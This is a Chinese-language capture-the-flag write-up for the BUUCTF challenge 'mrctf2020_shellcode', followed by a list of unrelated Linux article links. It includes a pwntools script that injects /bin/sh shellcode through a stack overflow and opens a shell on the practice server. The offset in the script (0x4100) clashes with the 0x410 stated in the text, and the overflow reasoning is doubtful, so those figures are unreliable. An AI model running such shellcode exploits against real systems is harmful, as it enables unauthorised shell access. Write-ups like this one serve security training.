buuctf中的mrctf2020_shellcode

首先checksec检查保护机制:

-64位程序

-got表不可写,地址不固定

接下来使用IDA反汇编分析:

这里我这里反汇编不了,所以只能看汇编代码了,首先看到buf的长度为0x410,下面调用了puts函数和read函数,read函数则是读入了0x400个字节的数据到buf中,由于上面没有开启NX保护,所以考虑shellcode注入,虽然read只读入了400个数据,但是依旧可以触发栈溢出

下面可以看到retn前并没有pop rbp,也就是说这里并没有rbp,所以偏移就是buf的长度即0x410

这里先在gdb中运行程序后输入i r查看寄存器信息:

那到rsp也就是栈基地址,下面的shellcode就是注入在这里

基本信息拿完就可以写攻击脚本了:

python 复制代码
from pwn import *
context(arch='amd64', os='linux', log_level='debug')

#io = process('./pwn')             # 在本地运行程序。
# gdb.attach(io)                    # 启动 GDB
io = connect('node5.buuoj.cn',27977)              # 与在线环境交互。

shellcode = asm(shellcraft.sh())
offset = 0x4100
buf_addr = 0x7fffffffdaf8

payload = shellcode.ljust(offset,b'a') + p64(buf_addr)
io.sendline(payload)

io.interactive()

这是运行结果:

拿到shell后手动输入cat flag拿到flag

相关推荐
2401_8920709819 小时前
【Linux C++ 日志系统实战】LogFile 日志文件管理核心:滚动策略、线程安全与方法全解析
linux·c++·日志系统·日志滚动
lwx91485220 小时前
Linux-Shell算术运算
linux·运维·服务器
somi720 小时前
ARM-驱动-02-Linux 内核开发环境搭建与编译
linux·运维·arm开发
双份浓缩馥芮白20 小时前
【Docker】Linux 迁移 docker 目录(软链接)
linux·docker
黄昏晓x20 小时前
Linux ---- UDP和TCP
linux·tcp/ip·udp
路溪非溪21 小时前
Linux驱动开发中的常用接口总结(一)
linux·运维·驱动开发
此刻觐神21 小时前
IMX6ULL开发板学习-01(Linux文件目录和目录相关命令)
linux·服务器·学习
2401_8920709821 小时前
【Linux C++ 日志系统实战】高性能文件写入 AppendFile 核心方法解析
linux·c++·日志系统·文件写对象
航Hang*21 小时前
第3章:Linux系统安全管理——第2节:部署代理服务
linux·运维·服务器·开发语言·笔记·系统安全
-ONLY-¥21 小时前
PostgreSQL运维全攻略:从基础操作到远程配置
linux